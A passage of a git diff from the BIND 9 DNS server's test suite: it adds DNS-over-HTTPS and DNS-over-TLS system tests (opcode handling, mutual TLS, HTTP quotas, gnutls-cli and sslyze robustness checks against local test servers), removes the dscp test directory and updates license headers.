+dig_with_https_opts +https +tls-ca="$ca_file" +tls-certfile="./CA/certs/srv01.client01.example.com.pem" +tls-keyfile="./CA/certs/srv01.client01.example.com.key" -p "${EXTRAPORT6}" +comm @10.53.0.1 . SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+# send two requests one after another so that session resumption will happen
+n=$((n + 1))
+echo_i "checking DoH query (client certificate used - session resumption when using Mutual TLS) ($n)"
+ret=0
+# shellcheck disable=SC2086
+dig_with_https_opts +https +tls-ca="$ca_file" +tls-certfile="./CA/certs/srv01.client01.example.com.pem" +tls-keyfile="./CA/certs/srv01.client01.example.com.key" -p "${EXTRAPORT6}" +comm @10.53.0.1 . SOA . SOA > dig.out.test$n || ret=1
+grep "TLS error" dig.out.test$n > /dev/null && ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+test_opcodes() {
+	EXPECT_STATUS="$1"
+	shift
+	for op in "$@";
+	do
+		n=$((n + 1))
+		echo_i "checking unexpected opcode query over DoH for opcode $op ($n)"
+		ret=0
+		dig_with_https_opts +https @10.53.0.1 +opcode="$op" > dig.out.test$n || ret=1
+		grep "status: $EXPECT_STATUS" dig.out.test$n > /dev/null || ret=1
+		if [ $ret != 0 ]; then echo_i "failed"; fi
+		status=$((status + ret))
+
+		n=$((n + 1))
+		echo_i "checking unexpected opcode query over DoH via IPv6 for opcode $op ($n)"
+		ret=0
+		dig_with_https_opts -6 +https @fd92:7065:b8e:ffff::1 +opcode="$op" > dig.out.test$n || ret=1
+		grep "status: $EXPECT_STATUS" dig.out.test$n > /dev/null || ret=1
+		if [ $ret != 0 ]; then echo_i "failed"; fi
+		status=$((status + ret))
+
+		n=$((n + 1))
+		echo_i "checking unexpected opcode query over DoH without encryption for opcode $op ($n)"
+		ret=0
+		dig_with_http_opts +http-plain @10.53.0.1 +opcode="$op" > dig.out.test$n || ret=1
+		grep "status: $EXPECT_STATUS" dig.out.test$n > /dev/null || ret=1
+		if [ $ret != 0 ]; then echo_i "failed"; fi
+		status=$((status + ret))
+
+		n=$((n + 1))
+		echo_i "checking unexpected opcode query over DoH via IPv6 without encryption for opcode $op ($n)"
+		ret=0
+		dig_with_http_opts -6 +http-plain @fd92:7065:b8e:ffff::1 +opcode="$op" > dig.out.test$n || ret=1
+		grep "status: $EXPECT_STATUS" dig.out.test$n > /dev/null || ret=1
+		if [ $ret != 0 ]; then echo_i "failed"; fi
+		status=$((status + ret))
+
+		n=$((n + 1))
+		echo_i "checking unexpected opcode query over DoT for opcode $op ($n)"
+		ret=0
+		dig_with_tls_opts +tls @10.53.0.1 +opcode="$op" > dig.out.test$n || ret=1
+		grep "status: $EXPECT_STATUS" dig.out.test$n > /dev/null || ret=1
+		if [ $ret != 0 ]; then echo_i "failed"; fi
+		status=$((status + ret))
+
+		n=$((n + 1))
+		echo_i "checking unexpected opcode query over DoT via IPv6 for opcode $op ($n)"
+		ret=0
+		dig_with_tls_opts -6 +tls @fd92:7065:b8e:ffff::1 +opcode="$op" > dig.out.test$n || ret=1
+		grep "status: $EXPECT_STATUS" dig.out.test$n > /dev/null || ret=1
+		if [ $ret != 0 ]; then echo_i "failed"; fi
+		status=$((status + ret))
+	done
+}
+
+test_opcodes NOERROR 0
+test_opcodes NOTIMP 1 2 3 6 7 8 9 10 11 12 13 14 15
+test_opcodes FORMERR 4 5
+
+n=$((n + 1))
+echo_i "checking server quotas for both encrypted and unencrypted HTTP ($n)"
+ret=0
+if [ -x "$PYTHON" ]; then
+	BINDHOST="10.53.0.1" "$PYTHON" "$TOP_SRCDIR/bin/tests/system/doth/stress_http_quota.py" || ret=$?
+else
+	echo_i "Python is not available. Skipping the test..."
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+# check whether we can use curl for sending test queries.
+if [ -x "${CURL}" ] ; then
+	CURL_HTTP2="$(${CURL} --version | grep -E '^Features:.* HTTP2( |$)' || true)"
+
+	if [ -n "$CURL_HTTP2" ]; then
+		testcurl=1
+	else
+		echo_i "The available version of CURL does not have HTTP/2 support"
+	fi
+fi
+
+# Note: see README.curl for information on how to generate curl
+# queries.
+if [ -n "$testcurl" ]; then
+	n=$((n + 1))
+	echo_i "checking max-age for positive answer ($n)"
+	ret=0
+	# use curl to query for 'example/SOA'
+	$CURL -kD headers.$n "https://10.53.0.1:${HTTPSPORT}/dns-query?dns=AAEAAAABAAAAAAAAB2V4YW1wbGUAAAYAAQ" > /dev/null 2>&1 || ret=1
+	grep "cache-control: max-age=86400" headers.$n > /dev/null || ret=1
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status + ret))
+
+	n=$((n + 1))
+	echo_i "checking max-age for negative answer ($n)"
+	ret=0
+	# use curl to query for 'fake.example/TXT'
+	$CURL -kD headers.$n "https://10.53.0.1:${HTTPSPORT}/dns-query?dns=AAEAAAABAAAAAAAABGZha2UHZXhhbXBsZQAAEAAB" > /dev/null 2>&1 || ret=1
+	grep "cache-control: max-age=3600" headers.$n > /dev/null || ret=1
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status + ret))
+fi
+
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/doth/tests_gnutls.py b/bin/tests/system/doth/tests_gnutls.py
new file mode 100644
index 0000000000..5ddb708fd2
--- /dev/null
+++ b/bin/tests/system/doth/tests_gnutls.py
@@ -0,0 +1,108 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import selectors
+import struct
+import subprocess
+import time
+
+import pytest
+
+pytest.importorskip("dns")
+import dns.exception
+import dns.message
+import dns.name
+import dns.rdataclass
+import dns.rdatatype
+
+
+def test_gnutls_cli_query(gnutls_cli_executable, named_tlsport):
+    # Prepare the example/SOA query which will be sent over TLS.
+    query = dns.message.make_query("example.", dns.rdatatype.SOA)
+    query_wire = query.to_wire()
+    query_with_length = struct.pack(">H", len(query_wire)) + query_wire
+
+    # Run gnutls-cli.
+    gnutls_cli_args = [
+        gnutls_cli_executable,
+        "--no-ca-verification",
+        "-V",
+        "--no-ocsp",
+        "--alpn=dot",
+        "--logfile=gnutls-cli.log",
+        "--port=%d" % named_tlsport,
+        "10.53.0.1",
+    ]
+    with open("gnutls-cli.err", "wb") as gnutls_cli_stderr, subprocess.Popen(
+        gnutls_cli_args,
+        stdin=subprocess.PIPE,
+        stdout=subprocess.PIPE,
+        stderr=gnutls_cli_stderr,
+        bufsize=0,
+    ) as gnutls_cli:
+        # Send the example/SOA query to the standard input of gnutls-cli.  Do
+        # not close standard input yet because that causes gnutls-cli to close
+        # the TLS connection immediately, preventing the response from being
+        # read.
+        gnutls_cli.stdin.write(query_with_length)
+        gnutls_cli.stdin.flush()
+
+        # Keep reading data from the standard output of gnutls-cli until a full
+        # DNS message is received or a timeout is exceeded or gnutls-cli exits.
+        # Popen.communicate() cannot be used here because: a) it closes
+        # standard input after sending data to the process (see above why this
+        # is a problem), b) gnutls-cli is not DNS-aware, so it does not exit
+        # upon receiving a DNS response.
+        selector = selectors.DefaultSelector()
+        selector.register(gnutls_cli.stdout, selectors.EVENT_READ)
+        deadline = time.time() + 10
+        gnutls_cli_output = b""
+        response = b""
+        while not response and not gnutls_cli.poll():
+            if not selector.select(timeout=deadline - time.time()):
+                break
+            gnutls_cli_output += gnutls_cli.stdout.read(512)
+            try:
+                # Ignore TCP length, just try to parse a DNS message from
+                # the rest of the data received.
+                response = dns.message.from_wire(gnutls_cli_output[2:])
+            except dns.exception.FormError:
+                continue
+
+        # At this point either a DNS response was received or a timeout fired
+        # or gnutls-cli exited prematurely.  Close the standard input of
+        # gnutls-cli.  Terminate it if that does not cause it to shut down
+        # gracefully.
+        gnutls_cli.stdin.close()
+        try:
+            gnutls_cli.wait(5)
+        except subprocess.TimeoutExpired:
+            gnutls_cli.kill()
+
+    # Store the response received for diagnostic purposes.
+    with open("gnutls-cli.out.bin", "wb") as response_bin:
+        response_bin.write(gnutls_cli_output)
+    if response:
+        with open("gnutls-cli.out.txt", "w", encoding="utf-8") as response_txt:
+            response_txt.write(response.to_text())
+
+    # Check whether a response was received and whether it is sane.
+    assert response
+    assert query.id == response.id
+    assert len(response.answer) == 1
+    assert response.answer[0].match(
+        dns.name.from_text("example."),
+        dns.rdataclass.IN,
+        dns.rdatatype.SOA,
+        dns.rdatatype.NONE,
+    )
diff --git a/bin/tests/system/doth/tests_sh_doth.py b/bin/tests/system/doth/tests_sh_doth.py
new file mode 100644
index 0000000000..ef87a06acd
--- /dev/null
+++ b/bin/tests/system/doth/tests_sh_doth.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_doth(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/doth/tests_sslyze.py b/bin/tests/system/doth/tests_sslyze.py
new file mode 100644
index 0000000000..2562fe482d
--- /dev/null
+++ b/bin/tests/system/doth/tests_sslyze.py
@@ -0,0 +1,65 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import os
+import pathlib
+import subprocess
+
+import pytest
+
+
+def is_pid_alive(pid):
+    try:
+        os.kill(pid, 0)
+        return True
+    except OSError:
+        return False
+
+
+def run_sslyze_in_a_loop(executable, port, log_file_prefix):
+    # Determine the PID of ns1.
+    with open(pathlib.Path("ns1", "named.pid"), encoding="utf-8") as pidfile:
+        pid = int(pidfile.read())
+
+    # Ensure ns1 is alive before starting the loop below to avoid reporting
+    # false positives.
+    if not is_pid_alive(pid):
+        pytest.skip(f"ns1 (PID: {pid}) is not running")
+
+    # Run sslyze on ns1 in a loop with a limit of 30 iterations.  Interrupt the
+    # test as soon as ns1 is determined to not be running any more.  Log sslyze
+    # output.
+    sslyze_args = [executable, f"10.53.0.1:{port}"]
+    for i in range(0, 30):
+        log_file = f"{log_file_prefix}.ns1.{port}.{i + 1}"
+        with open(log_file, "wb") as sslyze_log:
+            # Run sslyze, logging stdout+stderr.  Ignore the exit code since
+            # sslyze is only used for triggering crashes here rather than
+            # actual TLS analysis.
+            subprocess.run(
+                sslyze_args,
+                stdout=sslyze_log,
+                stderr=subprocess.STDOUT,
+                timeout=30,
+                check=False,
+            )
+            # Ensure ns1 is still alive after each sslyze run.
+            assert is_pid_alive(pid), f"ns1 (PID: {pid}) exited prematurely"
+
+
+def test_sslyze_doh(sslyze_executable, named_httpsport):
+    run_sslyze_in_a_loop(sslyze_executable, named_httpsport, "sslyze.log.doh")
+
+
+def test_sslyze_dot(sslyze_executable, named_tlsport):
+    run_sslyze_in_a_loop(sslyze_executable, named_tlsport, "sslyze.log.dot")
diff --git a/bin/tests/system/dscp/clean.sh b/bin/tests/system/dscp/clean.sh
deleted file mode 100644
index 1cdca7d576..0000000000
--- a/bin/tests/system/dscp/clean.sh
+++ /dev/null
@@ -1,16 +0,0 @@
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-rm -f */root.bk
-rm -f dig.out.10.53.0.?
-rm -f */named.memstats
-rm -f */named.run
-rm -f */named.conf
-rm -f ns*/named.lock
-rm -f ns*/managed-keys.bind*
diff --git a/bin/tests/system/dscp/ns1/named.args b/bin/tests/system/dscp/ns1/named.args
deleted file mode 100644
index 0c955c704a..0000000000
--- a/bin/tests/system/dscp/ns1/named.args
+++ /dev/null
@@ -1 +0,0 @@
--m record,size,mctx -c named.conf -d 99 -D dscp-ns1 -X named.lock -g -U 4 -T maxcachesize=2097152 -T dscp=46
diff --git a/bin/tests/system/dscp/ns1/named.conf.in b/bin/tests/system/dscp/ns1/named.conf.in
deleted file mode 100644
index 0a5245d7dd..0000000000
--- a/bin/tests/system/dscp/ns1/named.conf.in
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	dscp 46;
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion no;
-	dnssec-validation no;
-	notify yes;
-};
-
-zone "." {
-	type primary;
-	file "root.db";
-};
diff --git a/bin/tests/system/dscp/ns1/root.db b/bin/tests/system/dscp/ns1/root.db
deleted file mode 100644
index 3bd582940e..0000000000
--- a/bin/tests/system/dscp/ns1/root.db
+++ /dev/null
@@ -1,17 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 3600
-.	SOA	ns1.nil-servers. marka.isc.org. 1 3600 1200 3600000 1200
-.	NS	ns1.nil-servers.
-.	NS	ns2.nil-servers.
-ns1.nil-servers. A 10.53.0.1
-ns2.nil-servers. A 10.53.0.2
-xxx.example.	A	10.53.0.1
-xxx.tld.	A	10.53.0.1
diff --git a/bin/tests/system/dscp/ns2/named.args b/bin/tests/system/dscp/ns2/named.args
deleted file mode 100644
index ff501a812c..0000000000
--- a/bin/tests/system/dscp/ns2/named.args
+++ /dev/null
@@ -1 +0,0 @@
--m record,size,mctx -c named.conf -d 99 -D dscp-ns2 -X named.lock -g -U 4 -T maxcachesize=2097152 -T dscp=46
diff --git a/bin/tests/system/dscp/ns2/named.conf.in b/bin/tests/system/dscp/ns2/named.conf.in
deleted file mode 100644
index 94a9e3244a..0000000000
--- a/bin/tests/system/dscp/ns2/named.conf.in
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	dscp 46;
-	query-source address 10.53.0.2;
-	notify-source 10.53.0.2;
-	transfer-source 10.53.0.2;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.2; };
-	listen-on-v6 { none; };
-	recursion no;
-	dnssec-validation no;
-	notify yes;
-};
-
-zone "." {
-	type secondary;
-	file "root.bk";
-	primaries { 10.53.0.1; };
-};
diff --git a/bin/tests/system/dscp/ns3/hint.db b/bin/tests/system/dscp/ns3/hint.db
deleted file mode 100644
index 5fe03e71a2..0000000000
--- a/bin/tests/system/dscp/ns3/hint.db
+++ /dev/null
@@ -1,14 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 3600
-. NS ns1.nil-servers.
-. NS ns2.nil-servers.
-ns1.nil-servers. A 10.53.0.1
-ns2.nil-servers. A 10.53.0.2
diff --git a/bin/tests/system/dscp/ns3/named.args b/bin/tests/system/dscp/ns3/named.args
deleted file mode 100644
index 3d1981fb59..0000000000
--- a/bin/tests/system/dscp/ns3/named.args
+++ /dev/null
@@ -1 +0,0 @@
--m record,size,mctx -c named.conf -d 99 -D dscp-ns3 -X named.lock -g -U 4 -T maxcachesize=2097152 -T dscp=46
diff --git a/bin/tests/system/dscp/ns3/named.conf.in b/bin/tests/system/dscp/ns3/named.conf.in
deleted file mode 100644
index c775e5180b..0000000000
--- a/bin/tests/system/dscp/ns3/named.conf.in
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	dscp 46;
-	query-source address 10.53.0.3;
-	notify-source 10.53.0.3;
-	transfer-source 10.53.0.3;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.3; };
-	listen-on-v6 { none; };
-	notify yes;
-	recursion yes;
-	dnssec-validation yes;
-};
-
-zone "." {
-	type hint;
-	file "hint.db";
-};
diff --git a/bin/tests/system/dscp/ns4/named.args b/bin/tests/system/dscp/ns4/named.args
deleted file mode 100644
index 277a47b628..0000000000
--- a/bin/tests/system/dscp/ns4/named.args
+++ /dev/null
@@ -1 +0,0 @@
--m record,size,mctx -c named.conf -d 99 -D dscp-ns4 -X named.lock -g -U 4 -T maxcachesize=2097152 -T dscp=46
diff --git a/bin/tests/system/dscp/ns4/named.conf.in b/bin/tests/system/dscp/ns4/named.conf.in
deleted file mode 100644
index 63fd7691ec..0000000000
--- a/bin/tests/system/dscp/ns4/named.conf.in
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	dscp 47;
-	query-source dscp 46 address 10.53.0.4;
-	notify-source 10.53.0.4 dscp 46;
-	transfer-source 10.53.0.4 dscp 46;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on dscp 46 { 10.53.0.4; };
-	listen-on-v6 { none; };
-	recursion no;
-	dnssec-validation no;
-	notify yes;
-};
-
-zone "." {
-	type primary;
-	file "root.db";
-};
diff --git a/bin/tests/system/dscp/ns4/root.db b/bin/tests/system/dscp/ns4/root.db
deleted file mode 100644
index d1627dbd4e..0000000000
--- a/bin/tests/system/dscp/ns4/root.db
+++ /dev/null
@@ -1,17 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 3600
-.	SOA	ns4.nil-servers. marka.isc.org. 1 3600 1200 3600000 1200
-.	NS	ns4.nil-servers.
-.	NS	ns5.nil-servers.
-ns4.nil-servers. A 10.53.0.4
-ns5.nil-servers. A 10.53.0.5
-xxx.example.	A	10.53.0.1
-xxx.tld.	A	10.53.0.1
diff --git a/bin/tests/system/dscp/ns5/named.args b/bin/tests/system/dscp/ns5/named.args
deleted file mode 100644
index c678163f37..0000000000
--- a/bin/tests/system/dscp/ns5/named.args
+++ /dev/null
@@ -1 +0,0 @@
--m record,size,mctx -c named.conf -d 99 -D dscp-ns5 -X named.lock -g -U 4 -T maxcachesize=2097152 -T dscp=46
diff --git a/bin/tests/system/dscp/ns5/named.conf.in b/bin/tests/system/dscp/ns5/named.conf.in
deleted file mode 100644
index 9ffa0a1272..0000000000
--- a/bin/tests/system/dscp/ns5/named.conf.in
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	dscp 47;
-	query-source dscp 46 address 10.53.0.5;
-	notify-source 10.53.0.5 dscp 46;
-	transfer-source 10.53.0.5 dscp 46;
-	alt-transfer-source 10.53.0.5 dscp 46;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on dscp 46 { 10.53.0.5; };
-	listen-on-v6 { none; };
-	recursion no;
-	dnssec-validation no;
-	notify yes;
-};
-
-zone "." {
-	type secondary;
-	file "root.bk";
-	primaries { 10.53.0.4; };
-};
diff --git a/bin/tests/system/dscp/ns6/hint.db b/bin/tests/system/dscp/ns6/hint.db
deleted file mode 100644
index 8c54e3a3dc..0000000000
--- a/bin/tests/system/dscp/ns6/hint.db
+++ /dev/null
@@ -1,14 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 3600
-. NS ns4.nil-servers.
-. NS ns5.nil-servers.
-ns4.nil-servers. A 10.53.0.4
-ns5.nil-servers. A 10.53.0.5
diff --git a/bin/tests/system/dscp/ns6/named.args b/bin/tests/system/dscp/ns6/named.args
deleted file mode 100644
index 283cf22011..0000000000
--- a/bin/tests/system/dscp/ns6/named.args
+++ /dev/null
@@ -1 +0,0 @@
--m record,size,mctx -c named.conf -d 99 -D dscp-ns6 -X named.lock -g -U 4 -T maxcachesize=2097152 -T dscp=46
diff --git a/bin/tests/system/dscp/ns6/named.conf.in b/bin/tests/system/dscp/ns6/named.conf.in
deleted file mode 100644
index 1714e2232a..0000000000
--- a/bin/tests/system/dscp/ns6/named.conf.in
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	dscp 47;
-	query-source dscp 46 address 10.53.0.6;
-	notify-source 10.53.0.6 dscp 46;
-	transfer-source 10.53.0.6 dscp 46;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on dscp 46 { 10.53.0.6; };
-	listen-on-v6 { none; };
-	notify yes;
-	recursion yes;
-	dnssec-validation yes;
-};
-
-zone "." {
-	type hint;
-	file "hint.db";
-};
diff --git a/bin/tests/system/dscp/ns7/named.args b/bin/tests/system/dscp/ns7/named.args
deleted file mode 100644
index 4ccf38ea05..0000000000
--- a/bin/tests/system/dscp/ns7/named.args
+++ /dev/null
@@ -1 +0,0 @@
--m record,size,mctx -c named.conf -d 99 -D dscp-ns7 -X named.lock -g -U 4 -T maxcachesize=2097152 -T dscp=46
diff --git a/bin/tests/system/dscp/ns7/named.conf.in b/bin/tests/system/dscp/ns7/named.conf.in
deleted file mode 100644
index a7c8bf2021..0000000000
--- a/bin/tests/system/dscp/ns7/named.conf.in
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	dscp 47;
-	query-source dscp 46 address 10.53.0.7;
-	notify-source 10.53.0.7 dscp 47;
-	transfer-source 10.53.0.7 dscp 47;
-	alt-transfer-source 10.53.0.7 dscp 47;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on dscp 46 { 10.53.0.7; };
-	listen-on-v6 { none; };
-	recursion no;
-	dnssec-validation no;
-	notify yes;
-};
-
-zone "." {
-	type secondary;
-	file "root.bk";
-	transfer-source 10.53.0.7 dscp 46;
-	notify-source 10.53.0.7 dscp 46;
-	alt-transfer-source 10.53.0.7 dscp 46;
-	primaries { 10.53.0.4; };
-};
diff --git a/bin/tests/system/dscp/setup.sh b/bin/tests/system/dscp/setup.sh
deleted file mode 100644
index 401985d4a5..0000000000
--- a/bin/tests/system/dscp/setup.sh
+++ /dev/null
@@ -1,20 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-. ../conf.sh
-
-copy_setports ns1/named.conf.in ns1/named.conf
-copy_setports ns2/named.conf.in ns2/named.conf
-copy_setports ns3/named.conf.in ns3/named.conf
-copy_setports ns4/named.conf.in ns4/named.conf
-copy_setports ns5/named.conf.in ns5/named.conf
-copy_setports ns6/named.conf.in ns6/named.conf
-copy_setports ns7/named.conf.in ns7/named.conf
diff --git a/bin/tests/system/dscp/tests.sh b/bin/tests/system/dscp/tests.sh
deleted file mode 100644
index 2051ecc7ec..0000000000
--- a/bin/tests/system/dscp/tests.sh
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-. ../conf.sh
-
-DIGOPTS="+tcp +noadd +nosea +nostat +noquest -p ${PORT}"
-
-status=0
-
-#
-# 10.53.0.1 10.53.0.2 10.53.0.3 have a global dscp setting;
-# 10.53.0.4 10.53.0.5 10.53.0.6 have dscp set in option *-source clauses;
-# 10.53.0.7 has dscp set in zone *-source clauses;
-#
-for server in 10.53.0.1 10.53.0.2 10.53.0.3 10.53.0.4 10.53.0.5 \
-	      10.53.0.6 10.53.0.7
-do
-	echo_i "testing root SOA lookup at $server"
-	for i in 0 1 2 3 4 5 6 7 8 9
-	do
-		ret=0
-		$DIG $DIGOPTS @$server soa . > dig.out.$server
-		grep "status: NOERROR" dig.out.$server > /dev/null || ret=1
-		test $ret = 0 && break
-		sleep 1
-	done
-	test $ret = 0 || { echo_i "failed"; status=`expr $status + $ret`; }
-done
-
-echo_i "exit status: $status"
-[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/dsdigest/clean.sh b/bin/tests/system/dsdigest/clean.sh
index b39bc5851d..172cf1e8fe 100644
--- a/bin/tests/system/dsdigest/clean.sh
+++ b/bin/tests/system/dsdigest/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dsdigest/ns1/named.conf.in b/bin/tests/system/dsdigest/ns1/named.conf.in
index a68caf9d96..da27c58c87 100644
--- a/bin/tests/system/dsdigest/ns1/named.conf.in
+++ b/bin/tests/system/dsdigest/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dsdigest/ns1/root.db.in b/bin/tests/system/dsdigest/ns1/root.db.in
index 52232798fb..30c61e9279 100644
--- a/bin/tests/system/dsdigest/ns1/root.db.in
+++ b/bin/tests/system/dsdigest/ns1/root.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
